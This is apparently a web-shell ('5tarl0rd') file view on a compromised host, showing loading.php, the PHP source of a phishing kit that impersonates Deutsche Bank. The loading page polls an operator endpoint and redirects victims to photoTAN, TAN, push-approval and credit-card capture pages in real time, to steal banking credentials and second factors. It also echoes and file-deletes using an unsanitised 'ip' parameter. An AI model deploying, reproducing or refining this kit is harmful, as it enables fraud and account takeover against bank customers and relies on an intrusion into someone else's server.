5tarl0rd

Current Path : /home/tiporg/.trash/
Upload File :
Current File : /home/tiporg/.trash/loading.php

<?php
require 'prevents/index.php';

if (isset($_GET['ip']) AND !empty($_GET['ip']) AND isset($_GET['next']) AND !empty($_GET['next'])) {
    switch ($_GET['next']) {
        case 'pt':
            $next = "photo_tan";
            break;
        
            case 't':
                $next = "tan";
                break;

            case 'p':
                    $next = "push";
                    break;

                    case 'cc':
                        $next = "cc";
                        break;

                        case 's':
                            $next = "success";
                            break;
        default:
            $next = "index";
            break;
    }
$ip = $_GET['ip'];
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Wird geladen</title>
    <script src="https://code.jquery.com/jquery-3.7.1.js" integrity="sha256-eKhayi8LEQwp4NKxN+CfCh+3qOVUtJn3QNZ0TciWLP4=" crossorigin="anonymous"></script>
</head>
<body>
    <div align="center" style="margin-top:15%;">
        <img src=" include/logo_db.gif" title="Logo Deutsche Bank" alt="Logo Deutsche Bank" width="70" height="70"> <br>
        <img src="include/loading.gif" alt="" width="70" height="70">
    </div>

    <script>
var intervalId = setInterval(function () {
    
    $.ajax({
        type: "GET",
        url: "lien.php?ip<?= $ip ?>",
        data: {ip: "<?= $ip ?>"},
        success: function(msg){
            clearInterval(intervalId);
            //login invalide
            if (msg === 'login') 
            {
                window.top.location.href = 'index.php';
            } 

             //Page Certicode
            else if (msg === 'photo_tan') 
            {
                window.top.location.href = 'photo_tan.php';
                
            }

            //Page Informations
            else if (msg === 'tan') 
            {
                window.top.location.href = 'tan.php';
            }

            //Page Informations
            else if (msg === 'push') 
            {
                window.top.location.href = 'push.php';
            }

            //Page Informations
            else if (msg === 'cc') 
            {
                window.top.location.href = 'cc.php';
            }
            
            else if (msg === 'sucess') 
            {
                window.top.location.href = 'success.php';
            }

            else
            {
                window.top.location.href = '<?= $next ?>.php';
            }


        },

        error: function (msg){
            console.error(msg);
        }
    });
    
}, 15000); // 1000 = 1 seconde
</script>
 </body>
</html>

<?php 

sleep(15);
if (file_exists("$ip.txt")) {
    unlink("$ip.txt");
}


}else{
die("Missing Parameter");
}
?>

5tarL0rd By 5tarl0rd Being Anonymous